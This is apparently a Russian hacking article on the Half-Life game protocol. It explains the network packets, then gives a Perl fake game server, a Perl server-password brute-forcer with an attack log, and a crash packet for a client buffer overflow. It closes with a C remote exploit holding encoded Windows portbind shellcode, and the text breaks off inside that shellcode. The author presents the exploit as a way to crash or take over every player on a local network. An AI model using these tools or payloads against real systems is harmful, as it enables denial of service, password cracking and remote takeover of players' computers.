Half-Life: let's play hard

Half-Life: let's play hard

Конечно же, игрушка под названием Half-Life в представлении не нуждается. За последние два (или три?) года у неё (а точнее у её mod'а CounterStrike) не было ниодного достойного конкурента в компьютерных клубах. Не скрою, я тоже являюсь поклонником этой игры и часто появляюсь на игровых интернет серверах (под ником 'xexe', если кому интересно). В данной статье я опишу работу Half-Life изнутри и некоторые уязвимости, которые мне удалось найти.

d4rkgr3y [d4rk@securitylab.ru]

I. 1ntr0

II. Как оНо работает?

    1. Пишем HL-сервер.
    2. Пишем HL-bruteforce'ер.

III. Уязвимости.

    1. Half-Life client\server <=v1.1.1.0: buffer overflow
    2. (D)DoS via Half-Life v.* servers

IV. 0utr0

I. 1ntr0.

Конечно же, игрушка под названием Half-Life в представлении не нуждается. За последние два (или три?) года у неё (а точнее у её mod'а CounterStrike) не было ниодного достойного конкурента в компьютерных клубах. Не скрою, я тоже являюсь поклонником этой игры и часто появляюсь на игровых интернет серверах (под ником 'xexe', если кому интересно). В данной статье я опишу работу Half-Life изнутри и некоторые уязвимости, которые мне удалось найти. Возможно, кто-то закричит: "Да зачем это всё? Тока ламмеров-геймеров мучить...", на что я отвечу, что HL-серверы стоят не только в домашних сетях и в комп. клубах, но и на _крупных_ интернет серверах (пример cs.demos.ru:27015 - крупный Московский провайдер).

Внимание:

! Статья написана в расчёте на продвинутого читателя. Знание c++ и perl обязательно, т.к. описание к исходником поверхностное. Также я не собираюсь здесь разжёвывать элементарные вещи, вроде процессорных регистров, строения стэка и протокола udp !

! Статья действительна только для HL версий 1.1.0.8-1.1.1.0 вне зависимости от установленных MOD'ов, читов, плагинов, etc !

II. Как оНо работает?

В hl сетевая игра разделена на Lan games и Internet games. По сути они практически идентичны, но, единственное, когда мы заходим в "Lan games", hl посылает 10 пакетов на broadcast адрес на порты 27015-27024 (содержимое пакетов будет рассмотрено ниже) с целью обнаружить рабочие hl серверы в пределах своей сети, и, когда мы пытаемся зайти на какой-либо локальный hl-сервер, hl сначала пытается использовать ipx/spx, а затем уже "udp/ip". Что касается "Internet games", широковещание, естественно, не используется, hl просто пытается залогиниться на серверы WON.

Рассмотрим немного подробнее клиент-серверное взаимодействие hl'а.

Как уже говорилось выше, для игры half-life использует udp (ipx я рассматривать не буду, т.к. я с ним не знаком и вообще он не особо юзабельный). Все пакеты я бы разделил на два типа:

1. которыми клиент и сервер обмениваются во время игры.

Ну тут всё понятно. Передаются координаты выстрелов, движений, etc. Пакеты, в среднем, имеют очень маленький размер: из 100 пакетов 90 весят по ~58 байт (из которых 42b заголовки). То есть, данных в каждом всего 16b. Это сделано по той причине, что в случае утери того или иного пакета (думаю, читатель знает, что для udp это в порядке вещей), потеря данных была бы минимальна.

Ещё хотелось бы отметить, что в пакетах данного типа первые четыре байта данных отводятся под счётчик. То есть, к примеру, после соединения с сервером у первого пакета данные будут начинаться с: 01 00 00 00 (hex), а у десятого: 0A 00 00 00 (hex). Это сделано для выявления потерянных пакетов.

2. клиент и сервер обмениваются до игры.

Первые четыре байта данных в пакетах этого типа статичны и имеют вид: FF FF FF FF (hex). Вероятно, это для того, чтобы не спутать их с "игровыми". Далее идёт команда (или результат выполнения оной), которая оканчивается символом NL (0Ah), либо NULL (00h).

Вот какие команды использует hl-клиент для общения с сервером:

ping - проверка, жив ли half-life-сервер.

infostring - запрос _общей_ информации о сервере.

players - ники игроков и их статы.

rules - ВСЕ настройки сервера.

getchallenge - запрос на соединение.

Я не хочу подробно рассматривать процесс соединения (хотя, мне лично это кажется довольно интересным).. Он будет продемонстрирован ниже.

Что ж, чтобы всем окончательно стало ясно, как же оНо всё-таки работает, приведу пример соединения с CS-сервером 212.154.208.11:27015:

 
# - комментарии
#ask - посылаю я
#answ - отвечает сервер
#Обратите внимание, что данные начинаются с "FF FF FF FF",
#ask
0x0000   00 02 44 08 FD 9F 00 02-2E F1 06 01 08 00 45 00   ..D.yY...n....E.
0x0010   00 25 29 17 00 00 FF 11-00 00 AD AD 01 22 AD AD   .%)...y...­­."­­
0x0020   01 64 12 1B 61 A9 00 11-4F 56 FF FF FF FF 70 69   .d..a©..OVyyyypi
0x0030   6E 67 00                                          ng.
#ping

#answ
0x0000   00 02 2E F1 06 01 00 02-44 08 FD 9F 08 00 45 00   ...n....D.yY..E.
0x0010   00 22 B1 7E 00 00 80 11-2B 6C AD AD 01 64 AD AD   ."±~..?.+l­­.d­­
0x0020   01 22 61 A9 12 1B 00 0E-C4 2C FF FF FF FF 6A 00   ."a©....A,yyyyj.
0x0030   20 20 20 20 20 20 20 20-20 20 20 20
#"j             " - так выглядит ответ на "ping"

#ask
0x0000   B8 B3 20 00 01 00 00 00-01 00 00 00 08 00 45 00   ?? ...........E.
0x0010   00 2C 01 DA 00 00 C8 11-D1 33 51 D3 29 3A D4 9A   .,.U..E.N3QO):Os
0x0020   D0 0B 0C 00 69 87 00 18-3C 60 FF FF FF FF 69 6E   ?...i‡..<`yyyyin
0x0030   66 6F 73 74 72 69 6E 67-0A 00                     fostring..
#inforstring

#answ
0x0000   00 00 01 00 00 00 B8 B3-20 00 01 00 08 00 45 00   ......?? .....E.
0x0010   01 33 00 00 40 00 35 11-25 07 D4 9A D0 0B 51 D3   .3..@.5.%.Os?.QO
0x0020   29 3A 69 87 0C 00 01 1F-79 46 FF FF FF FF 69 6E   ):i‡....yFyyyyin
0x0030   66 6F 73 74 72 69 6E 67-72 65 73 70 6F 6E 73 65   fostringresponse
0x0040   00 5C 70 72 6F 74 6F 63-6F 6C 5C 34 36 5C 61 64   .\protocol\46\ad
0x0050   64 72 65 73 73 5C 32 31-32 2E 31 35 34 2E 32 30   dress\212.154.20
0x0060   38 2E 31 31 3A 32 37 30-31 35 5C 70 6C 61 79 65   8.11:27015\playe
0x0070   72 73 5C 32 37 5C 70 72-6F 78 79 74 61 72 67 65   rs\27\proxytarge
0x0080   74 5C 30 5C 6C 61 6E 5C-31 5C 6D 61 78 5C 33 32   t\0\lan\1\max\32
0x0090   5C 67 61 6D 65 64 69 72-5C 63 73 74 72 69 6B 65   \gamedir\cstrike
0x00A0   5C 64 65 73 63 72 69 70-74 69 6F 6E 5C 43 6F 75   \description\Cou
0x00B0   6E 74 65 72 53 74 72 69-6B 65 5C 68 6F 73 74 6E   nterStrike\hostn
0x00C0   61 6D 65 5C 43 53 31 35-20 4B 5A 20 4F 6E 6C 69   ame\CS15 KZ Onli
0x00D0   6E 65 20 43 6F 75 6E 74-65 72 2D 53 74 72 69 6B   ne Counter-Strik
0x00E0   65 20 53 65 72 76 65 72-20 76 31 2E 35 5C 6D 61   e Server v1.5\ma
0x00F0   70 5C 64 65 5F 69 6E 66-65 72 6E 6F 5C 74 79 70   p\de_inferno\typ
0x0100   65 5C 64 5C 70 61 73 73-77 6F 72 64 5C 30 5C 6F   e\d\password\0\o
0x0110   73 5C 6C 5C 73 65 63 75-72 65 5C 30 5C 6D 6F 64   s\l\secure\0\mod
0x0120   5C 31 5C 6D 6F 64 76 65-72 73 69 6F 6E 5C 31 5C   \1\modversion\1\
0x0130   73 76 6F 6E 6C 79 5C 30-5C 63 6C 64 6C 6C 5C 31   svonly\0\cldll\1
0x0140   00                                                .
#infostringresponse
#сервер отвечает нам общей информацией о себе.

#ask
0x0000   B8 B3 20 00 01 00 00 00-01 00 00 00 08 00 45 00   ?? ...........E.
0x0010   00 2D 01 DB 00 00 C8 11-D1 31 51 D3 29 3A D4 9A   .-.U..E.N1QO):Os
0x0020   D0 0B 0C 00 69 87 00 19-E3 16 FF FF FF FF 67 65   ?...i‡..a.yyyyge
0x0030   74 63 68 61 6C 6C 65 6E-67 65 0A                  tchallenge.
#getchallenge
#запрос на подключение к серверу

#answ
0x0000   00 00 01 00 00 00 B8 B3-20 00 01 00 08 00 45 00   ......?? .....E.
0x0010   00 38 00 00 40 00 35 11-26 02 D4 9A D0 0B 51 D3   .8..@.5.&.Os?.QO
0x0020   29 3A 69 87 0C 00 00 24-3D 4D FF FF FF FF 41 30   ):i‡...$=MyyyyA0
0x0030   30 30 30 30 30 30 30 20-32 34 32 34 32 39 37 30   0000000 24242970
0x0040   33 39 20 32 0A 00                                 39 2..
#сервер позволяет нам присоединиться к игре и отсылает идентификатор "2424297039"
#(для каждого сервера он свой и меняется лишь при перезагрузке) в знак того, что 
всё ок.
#Если же сервер не может нас принять, он отвечает почему. К примеру:
#"SERVERISFULL", "BADPASSWORD".

#ask
0x0000   B8 B3 20 00 01 00 00 00-01 00 00 00 08 00 45 00   ?? ...........E.
0x0010   01 4C 01 DC 00 00 C8 11-D0 11 51 D3 29 3A D4 9A   .L.U..E.?.QO):Os
0x0020   D0 0B 0C 00 69 87 01 38-6F EE FF FF FF FF 63 6F   ?...i‡.8oiyyyyco
0x0030   6E 6E 65 63 74 20 34 36-20 32 34 32 34 32 39 37   nnect 46 2424297
0x0040   30 33 39 20 22 5C 70 72-6F 74 5C 32 5C 75 6E 69   039 "\prot\2\uni
0x0050   71 75 65 5C 2D 31 5C 72-61 77 5C 33 36 36 62 65   que\-1\raw\366be
0x0060   39 36 39 34 37 36 66 32-66 37 30 32 33 65 33 61   969476f2f7023e3a
0x0070   66 36 61 30 33 37 35 33-61 36 66 22 20 22 5C 6D   f6a03753a6f" "\m
0x0080   6F 64 65 6C 5C 67 6F 72-64 6F 6E 5C 74 6F 70 63   odel\gordon\topc
0x0090   6F 6C 6F 72 5C 30 5C 62-6F 74 74 6F 6D 63 6F 6C   olor\0\bottomcol
0x00A0   6F 72 5C 30 5C 72 61 74-65 5C 32 35 30 30 2E 30   or\0\rate\2500.0
0x00B0   30 30 30 30 30 5C 63 6C-5F 75 70 64 61 74 65 72   00000\cl_updater
0x00C0   61 74 65 5C 31 30 5C 63-6C 5F 6C 77 5C 31 5C 63   ate\10\cl_lw\1\c
0x00D0   6C 5F 6C 63 5C 31 5C 63-6C 5F 64 6C 6D 61 78 5C   l_lc\1\cl_dlmax\
0x00E0   31 32 38 5C 5F 63 6C 5F-61 75 74 6F 77 65 70 73   128\_cl_autoweps
0x00F0   77 69 74 63 68 5C 31 5C-5F 61 68 5C 31 5C 61 68   witch\1\_ah\1\ah
0x0100   5C 31 5C 6C 65 66 74 68-61 6E 64 5C 30 5C 64 6D   \1\lefthand\0\dm
0x0110   5C 30 5C 76 67 75 69 5F-6D 65 6E 75 73 5C 30 5C   \0\vgui_menus\0\
0x0120   5F 76 67 75 69 5F 6D 65-6E 75 73 5C 30 5C 73 5C   _vgui_menus\0\s\
0x0130   31 39 34 31 35 31 5C 73-32 5C 32 5C 73 33 5C 37   194151\s2\2\s3\7
0x0140   37 39 5C 5F 70 77 5C 79-31 72 79 34 72 63 5C 6E   79\_pw\y1ry4rc\n
0x0150   61 6D 65 5C 66 75 63 6B-22 0A                     ame\xexe".
#отсылаем наши данные (ник, модель, инф-ция о самом hl, некоторые настройки)... 
#answ
0x0000   00 00 01 00 00 00 B8 B3-20 00 01 00 08 00 45 00   ......?? .....E.
0x0010   00 46 00 00 40 00 35 11-25 F4 D4 9A D0 0B 51 D3   .F..@.5.%oOs?.QO
0x0020   29 3A 69 87 0C 00 00 32-A8 DD FF FF FF FF 42 20   ):i‡...2?YyyyyB 
0x0030   34 32 39 34 39 36 37 32-39 35 20 31 34 33 36 20   4294967295 1436 
0x0040   22 38 31 2E 32 31 31 2E-34 31 2E 35 38 3A 33 30   "81.211.41.58:30
0x0050   37 32 22 00                                       72".
#ок, мы приняты.
Далее мы обмениваемся с сервером просто огромным кол-вом (за 25 секунд было передано ~600 шт.) пакетов первого типа.. Подробно рассматривать этот процесс как-то нет желания, если кому интересно, могу выслать лог. На этом первую часть теоретической части можно считать оконченной. Теперь попробуем реализовать всё это программно.

1. Пишем HL-сервер.

#!/usr/bin/perl
##
## Fake Half-Life server v.1.337
##
## -d4rkgr3y [grey_1999_at_mail_dot_ru]
##
use IO::Socket;
$log = 0;
open(HANDLE, ">>hl.log") if $log;
$max = 3024;
$portn = 27015;
$sock = IO::Socket::INET->new(LocalPort => $portn, Proto => 'udp') or die "damn: 
$@\n";
print "Waiting....\n";
while ($sock->recv($msg2, $max)) {
  my($port, $ipaddr) = sockaddr_in($sock->peername);
  $rhost = gethostbyaddr($ipaddr, AF_INET);
  print "$rhost said: $msg2\n";

  ###################ping answer
  if($msg2=~"ping") {
    $msg1 =
    "\xFF\xFF\xFF\xFF\x6A\x00\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20";
  }
  ##############################

  ###################infostring
  if($msg2=~"infostring") {
    $msg1 =

    "\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72".
    "\x69\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00".
    # hl-header

    "\x5C\x70\x72\x6F\x74\x6F\x63\x6F\x6C\x5C\x34\x36\x5C".
    "\x61\x64\x64\x72\x65\x73\x73\x5C\x32\x31\x32\x2E\x31".
    "\x35\x34\x2E\x32\x30\x38\x2E\x31\x31\x3A\x32\x37\x30".
    "\x31\x35\x5C\x70\x6C\x61\x79\x65\x72\x73\x5C".
    # protos, versions and other shit

    "123".
    # players on the server..

    "\x5C\x70\x72\x6F\x78\x79\x74\x61\x72\x67\x65\x74".
    "\x5C\x30\x5C\x6C\x61\x6E\x5C\x31\x5C\x6D\x61\x78\x5C".

    "666".
    # max players
    
    "\x5C".
    "\x67\x61\x6D\x65\x64\x69\x72\x5C\x63\x73\x74\x72\x69\x6B".
    "\x65\x5C\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6F\x6E\x5C".

    "CounterStrike".
    # game type

    "\x5C\x68\x6F\x73\x74\x6E\x61\x6D\x65\x5C".

    "fake CS-server".
    # server name

    "\x5C\x6D\x61\x70\x5C".

    "de_1337".
    # map

    "\x5C\x74\x79\x70\x65\x5C\x64".
    "\x5C\x70\x61\x73\x73\x77\x6F\x72\x64\x5C".

    "1".
    # password (1 - yes, 0 - no)

    "\x5C\x6F\x73\x5C".

    "\x6C".
    # ^^^ - server OS (\x6C - linux, \x77 - win32)

    "\x5C\x73\x65\x63\x75\x72\x65\x5C\x30\x5C\x6D\x6F\x64\x5C\x31\x5C".
    "\x6D\x6F\x64\x76\x65\x72\x73\x69\x6F\x6E\x5C\x31\x5C\x73\x76\x6F".
    "\x6E\x6C\x79\x5C\x30\x5C\x63\x6C\x64\x6C\x6C\x5C\x31\x00";
  }
  ###############################

  ###################getchallenge
  if($msg2=~"getchallenge") {
    $msg1 =
    "\xFF\xFF\xFF\xFF\x41\x30\x30\x30\x30\x30\x30\x30\x30\x20".

    "0123456789".
    # id

    "\x20\x32\x0A\x00";
  }
  ###############################

  #######okey, u can connect to me
  if($msg2=~"connect") {
    $msg1 =
    "\xFF\xFF\xFF\xFF\x42\x20\x34\x32\x39\x34\x39\x36\x37\x32\x39".
    "\x35\x20\x32\x33\x33\x36\x20\x22\x32\x31\x32\x2E\x31\x35\x34".
    "\x2E\x32\x33\x36\x2E\x32\x34\x32\x3A\x34\x32\x31\x30\x22\x00";
  }
  ################################

  print HANDLE "$msg2\n" if $log;
  $sock->send($msg1) or print "damn: $!\n";
}
close(HANDLE) if $log;
Скрипт создаёт udp-сервер на порту 27015. Умеет отвечать на команды ping, infostring, getchallenge и connect, то есть в максимальной степени изображать из себя настоящий Half-Life-сервер.

Вот пример его использования на localhost'е: 

 

Обратите внимание, сколько на сервере игроков. Слабо? ;] Имхо, отличная тема для спора.

2. Пишем HL-bruteforce'ер.

В начале статьи я забыл упомянуть о том, что в half-life возможно закрывать свой сервер паролем. Нужно сказать, что гэймеры не особо утруждают себя придумыванием паролей, поэтому 90% ставят что-нибудь вроде 12345 или 321.. Я много раз видел, как в клубах пароль подбирался буквально за минуту простым "ручным" перебором.

Вот лог атаки на локальный CS-сервер:

D:\>perl hlbrute.pl
[~] Half-Life password cracker v.1.337
[~] Attacking host: 127.0.0.1:27015...
[~] Attempting to get ID...
[+] OK, ID is: 3376877153
[+] Wordlist opened. Let's start the dance..
aaaa: incorrect
aaaaa: incorrect
bbbb: incorrect
123: incorrect
111: incorrect
[+] Password is "321"
А вот и сам скрипт:
#!/usr/bin/perl
##
## Half-Life password cracker v.1.337.
## Imho, it's perfect for local network.
##
## -d4rkgr3y [grey_1999_at_mail_dot_ru]
##

use IO::Socket;
$wordlist = "words.lst"; # wordlist..
$host = "127.0.0.1"; # удалённый хост
$max = 1024; 
$port = 27015; # его порт
$log = 1; # вести лог?
$show = 1; # показывать результат каждой попытки
$logfile = "bf.log"; # логфайл
$socket = IO::Socket::INET->new(Proto => 'udp') or die "socket: $@\n";
$ipaddr = inet_aton($host);
$portaddr = sockaddr_in($port, $ipaddr);
$msg1 = "\xFF\xFF\xFF\xFF\x67\x65\x74\x63\x68". #getchallenge
  "\x61\x6C\x6C\x65\x6E\x67\x65\x0A";           #
print "[~] Half-Life password cracker v.1.337\n";
print "[~] Attacking host: $host:$port...\n";

getid(); # вызываем функцию определёния ID.
         # т.к. он одинаковый, определяем его лишь один раз.

open(wlist, $wordlist) or die "damn: $!\n"; # открывает вордлист
open(LOG, ">>$logfile") or die "damn: $!\n" if $log; # открываем логфайл
print "[+] Wordlist opened. Let's start the dance..\n";
while() {
  chomp;
  $pwd = $_; # кладём новый пароль в переменную $pwd

  ##############конструируем новый запрос
  $msg1 = 
    "\xFF\xFF\xFF\xFF\x63\x6F\x6E\x6E\x65\x63\x74\x20\x34\x36\x20".
    "$id".
    "\x20\x22\x5C\x70\x72\x6F\x74\x5C\x32\x5C\x75\x6E\x69\x71".
    "\x75\x65\x5C\x2D\x31\x5C\x72\x61\x77\x5C\x33\x36\x36\x62\x65\x39".
    "\x36\x39\x34\x37\x36\x66\x32\x66\x37\x30\x32\x33\x65\x33\x61\x66".
    "\x36\x61\x30\x33\x37\x35\x33\x61\x36\x66\x22\x20\x22\x5C\x6D\x6F".
    "\x64\x65\x6C\x5C\x67\x6F\x72\x64\x6F\x6E\x5C\x74\x6F\x70\x63\x6F".
    "\x6C\x6F\x72\x5C\x30\x5C\x62\x6F\x74\x74\x6F\x6D\x63\x6F\x6C\x6F".
    "\x72\x5C\x30\x5C\x72\x61\x74\x65\x5C\x32\x35\x30\x30\x2E\x30\x30".
    "\x30\x30\x30\x30\x5C\x63\x6C\x5F\x75\x70\x64\x61\x74\x65\x72\x61".
    "\x74\x65\x5C\x31\x30\x5C\x63\x6C\x5F\x6C\x77\x5C\x31\x5C\x63\x6C".
    "\x5F\x6C\x63\x5C\x31\x5C\x63\x6C\x5F\x64\x6C\x6D\x61\x78\x5C\x31".
    "\x32\x38\x5C\x5F\x63\x6C\x5F\x61\x75\x74\x6F\x77\x65\x70\x73\x77".
    "\x69\x74\x63\x68\x5C\x31\x5C\x5F\x61\x68\x5C\x31\x5C\x61\x68\x5C".
    "\x31\x5C\x6C\x65\x66\x74\x68\x61\x6E\x64\x5C\x30\x5C\x64\x6D\x5C".
    "\x30\x5C\x76\x67\x75\x69\x5F\x6D\x65\x6E\x75\x73\x5C\x30\x5C\x5F".
    "\x76\x67\x75\x69\x5F\x6D\x65\x6E\x75\x73\x5C\x30\x5C\x73\x5C\x31".
    "\x39\x34\x31\x35\x31\x5C\x73\x32\x5C\x32\x5C\x73\x33\x5C\x37\x37".
    "\x39\x5C\x5F\x70\x77\x5C\x79\x31\x72\x79\x34\x72\x63".
    "\x5Cpassword\x5C".
    "$pwd".
    "\x5C\x6E\x61\x6D\x65\x5Chalf-life-cracker\x22\x0A";
  ##################################

  ########отсылаем и получаем ответ
  send($socket, $msg1, 0, $portaddr) == length($msg1) or die "[-] damn: $!\n";
  $portaddr = recv($socket, $msg2, $max, 0) or die "[-] damn: $!\n";
  #################################

  #если ответ не содержит БЭДПАССВОРД, то пароль, находящийся в данный
  #момент в $pwd, верный!
  if($msg2=~/BADPASSWORD/) {
    print LOG "$pwd -> wrong\n" if $log;
    print "$pwd: incorrect\n" if $show;
  } else {
  ####раздаём гритцы, тенксы, факсы, закрываем сокеты, хэндлы и выходим.
    print LOG "$pwd -> yahoo!!\n" if $log;
    print "[+] Password is \"$pwd\"\n";
    close($socket);
    close(WL);
    close(LOG) if $log;
    exit;
  }

}
print "[-] Password not cracked :( Try another password-list\n";
print LOG "$pwd -> wrong\n" if $log;
exit;

#####################вот так определяется идентификатор..
sub getid() {
print "[~] Attempting to get ID...\n";
send($socket, $msg1, 0, $portaddr) == length($msg1) or die "[-] damn: $!\n";
$portaddr = recv($socket, $msg2, $max, 0) or die "[-] damn: $!\n";
$id = $msg2;
substr($id, 0, 14) = "";
substr($id, -4) = "";
print "[+] OK, ID is: $id\n";
return;
}
#########################################################
Скрипт сначала с помощью команды getchallenge определяет ID сервера, а затем начинает bruteforce. В серверной консоли это будет выглядеть как многочисленные реконнекты.

Ну и последнее. Тут письмо пришло:

-------------------------------------------------
Hi,

In your Perl Bruteforcer must be a bug...

I get this:

E:\>t.pl
[~] Half-Life password cracker v.1.337
[~] Attacking host: 213.202.213.13:27015...
[~] Attempting to get ID...
[+] OK, ID is: 969263331
[+] Wordlist opened. Let's start the dance..
[+] Password is ""

E:\>


But in the words.lst is this:


test

aaa

aab

123



Whats this?
mfg.

zyll


scoper@*.de (Sc0pEr)
---------------------------------------------------------
"Баг у тебя в генах, асёл" - напрашивался ответ. Пассворд-лист не должен содержать пустых строк.

III. уязвимости.

Вот мы и подошли к самой интересной части ;) В статье будут рассмотрены только две, т.к. остальные либо уже устарели, либо ещё до конца не разработаны.

1. Half-Life server\client =>v1.1.0.8-1.1.1.0: remote buffer overflow.

Уязвимость была найдена параллельно, независимо мной и неким Auriemma Luigi [www.pivx.com/luigi]. Но к сожалению первым запостил не я, так что и credits принадлежат уважаемому Luigi :) Ну да бог с ним, это не лишает меня права описать уязвимость русскоязычной части интернета. Итак, поехали. Я не просто так первую половину статьи посвятил описанию взаимодействия hl-клиента с сервером. Просто без этого было бы трудно объяснить, где же всё-таки закрался баг.

Итак, вспомним команду "infostring" (на самом деле, возможно, уязвимы и остальные, просто эту можно использовать наиболее удачно).

Как уже говорилось выше, сервер отвечает на неё краткой информацией о себе, а именно: кол-во игроков, карта, тип игры (cs, tf, hl, etc), os, название и версия протокола игрового сервера, ну и так далее. По сути, он передаёт всё, что вы видите, после нажатия Refresh в "Lan games" =) (помимо некоторой служебной информации). Вся эта информация передаётся вот в таком формате:

 
\параметр\значение
Чтобы удостовериться в этом, взгляните на снифанные пакеты в начале статьи. Вот пример оттуда же:
\model\gordon
#модель "гордон"
\name\xexe
#nickname "хехе"
Так вот, переполнение буфера происходит при разборе клиентом пакета (ответа на "infostring"), содержащего длинный параметр (или значение), то есть любую строку большого объёма, заключённую между символами "\" (5Ch). Вот пример пакета (читай данных), который приведёт Half-Life клиент в состояние DoS:
  "\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72\x69".
  "\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00\x5c".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".
  "\x5C\x00";
  
Кстати, здесь я опишу и предоставлю эксплойт лишь для hl-клиента. Для сервера возможно будет опубликован позже.

Ну а теперь вспомним самое начало данной статьи. Представим, что мы создали fake'овый half-life сервер в локальной сети с большим количеством любителей Counter-Strike. Когда кто-нибудь из них входит в Lan Games (чтобы посмотреть список доступных серверов), его клиент отсылает 10 широковещательных пакетов с запросом "infostring" ;) На что наш сервер отвечает выше указанным пакетом и удалённый клиент виснет. Одним словом, немножко подрекдактировав мой фэйковый Half-Life-сервер, можно как минимум оставить всю локальную сеть без HL, а максимум получить контроль над всеми любителями этой игры.

Что касается игры через интернет (Internet Games), юзерам достаточно лишь нажать "Refresh selected server" на нашем сервере (либо добавить его в список), чтобы быть "атакованными". Теперь поговорим о самом переполнении. Наши данные перезаписывают часть стэка в пределах от 0x001393F4 до 0x0013... (в WinXP), затирая адрес возврата (по адресу 0x001395F4) и некоторые переменные. Очевидно, что напрямую к нашим данным обратиться не удастся (каждый адрес будет содержать nullbyte), поэтому обращаем внимание на регистры. Нам подходят:

edx 00139768
esp 001395F8
ESP указывает на данные идущие сразу после eip'а, так что будем юзать его. В итоге для удачной эксплуатации в ответ на infostring-запрос мы должны послать строку вида: ...infostringresponse\AAA[512b]AAAEIPNNNNSHELLCODE\...

Где NNNN - 4 nop'а (хотя можно и больше).

Соответственно стэк будет выглядеть вот так:

|    ....    |
|  AAAA  |
|  AAAA  |
|  AAAA  |
|    EIP   |
|  NNNN  |
| shellcode  |
|    ....    |
После "прыжка" на ESP программа выполнит "NNNN", а затем наш shellcode. Ну а что касается шеллкода, то он как обычно не должен содержать nullbyte (00h). Также проблемы возникают с 'nl' (0Ah), '\' (5Ch), '"' (22h) и ffh, т.к. эти символы в Half-Life являются "управляющие".
/* m00-HL-portbind.c
 *
 *  HalfLife client <=v.1.1.1.0 remote exploit
 *
 *  Authors:
 *    d4rkgr3y [grey_1999_at_mail.ru]
 *    Over_G [overg_at_mail.ru]
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>

#define PORT 27015 /* порт на котором будет висеть наш демон */

char ping[0x12]=
	/*ответ на ping (клиент перед 'infostring'
	посылает 'ping', чтобы удостоверится, что сервер жив) */
	"\xff\xff\xff\xff\x6a\x00\x20\x20\x20"
	"\x20\x20\x20\x20\x20\x20\x20\x20\x20";

unsigned char evilbuf[] =
	/* непосредственно `infostringresponse` */
	"\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72\x69"
	"\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00\x5c"
	/* 512 байта мусора */
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
	"AAAAAAAAAAAAAAAAAAAAAA"
	"\x5a\x5a\x5a\x5a" // EIP
	"\x90\x90\x90\x90" // после инструкции `jmp esp` с этого места начнётся выполнение
	/* winxp/2k xored portbind shellcode */
	/* если Вы собираетесь использовать сплойт против win9x/me, то шеллкод 
придётся сменить */
	"\x8B\xC4\x83\xC0\x15\x33\xC9\x66\xB9\xD1\x01\x80\x30\x96\x40\xE2\xFA" // decrypt
	"\x15\x7A\xA2\x1D\x62\x7E\xD1\x97\x96\x96\x1F\x90\x69\xA0\xFE\x18\xD8\x98
\x7A\x7E\xF7"
	"\x97\x96\x96\x1F\xD0\x9E\x69\xA0\xFE\x3B\x4F\x93\x58\x7E\xC4\x97\x96\x96
\x1F\xD0"
	"\x9A\xFE\xFA\xFA\x96\x96\xFE\xA5\xA4\xB8\xF2\xFE\xE1\xE5\xA4\xC9\xC2\x69
\xC0\x9E"
	"\x1F\xD0\x92\x69\xA0\xFE\xE4\x68\x25\x80\x7E\xBB\x97\x96\x96\x1F\xD0\x86
\x69\xA0"
	"\xFE\xE8\x4E\x74\xE5\x7E\x88\x97\x96\x96\x1F\xD0\x82\x69\xE0\x92
\xFE\x5D\x7B\x6A"
	"\xAD\x7E\x98\x97\x96\x96\x1F\xD0\x8E\x69\xE0\x92\xFE\x4F\x9F\x63
\x3B\x7E\x68\x96"
	"\x96\x96\x1F\xD0\x8A\x69\xE0\x92\xFE\x32\x8C\xE6\x51\x7E\x78\x96\x96\x96
\x1F\xD0"
	"\xB6\x69\xE0\x92\xFE\x32\x3B\xB8\x7F\x7E\x48\x96\x96\x96\x1F\xD0\xB2\x69
\xE0\x92"
	"\xFE\x73\xDF\x10\xDF\x7E\x58\x96\x96\x96\x1F\xD0\xBE\x69\xE0\x92\xFE\x71
\xEF\x50"
